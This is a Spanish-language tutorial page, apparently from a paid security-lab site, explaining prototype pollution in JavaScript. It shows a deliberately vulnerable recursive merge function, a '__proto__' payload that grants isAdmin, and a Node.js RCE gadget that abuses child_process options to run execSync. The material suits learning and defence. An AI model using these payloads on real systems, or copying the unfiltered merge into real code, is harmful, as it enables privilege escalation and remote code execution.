Nuevos labs cada semana — Accede a todos desde 5€/mes

Prototype Pollution

Alto

Prototype Pollution

Definición

Prototype Pollution es una vulnerabilidad específica de JavaScript que permite a un atacante modificar el prototipo de objetos base (Object.prototype). Al inyectar propiedades en el prototipo, todos los objetos de la aplicación heredan estas propiedades, lo que puede llevar a XSS, bypass de seguridad o ejecución remota de código.

Impacto

Cross-Site Scripting (XSS) a través de gadgets en bibliotecas de tercerosBypass de validaciones y controles de seguridadEjecución remota de código en el servidor (Node.js)Denegación de servicioEscalada de privilegios (isAdmin: true)

Ejemplos

Prototype Pollution vía merge de objetos

La función merge recursiva no filtra la clave __proto__. Cuando el atacante envía un JSON con __proto__, la propiedad se asigna al prototipo de Object, afectando a todos los objetos de la aplicación.

// Función de merge vulnerable
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Payload del atacante
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Ahora TODOS los objetos tienen isAdmin: true
const user = {};
console.log(user.isAdmin); // true

Prototype Pollution a RCE en Node.js

En aplicaciones Node.js, la Prototype Pollution puede encadenarse con funciones de child_process para lograr ejecución remota de código, ya que estas funciones leen opciones como 'shell' del prototipo si no se especifican explícitamente.

// Si la aplicación usa child_process.spawn/fork:
const payload = {
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('id').toString())//"
  }
};

// Al contaminar el prototipo, cuando se ejecuta spawn sin opciones explícitas,
// hereda shell y argv0 del prototipo, ejecutando código arbitrario.

Practica Prototype Pollution con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica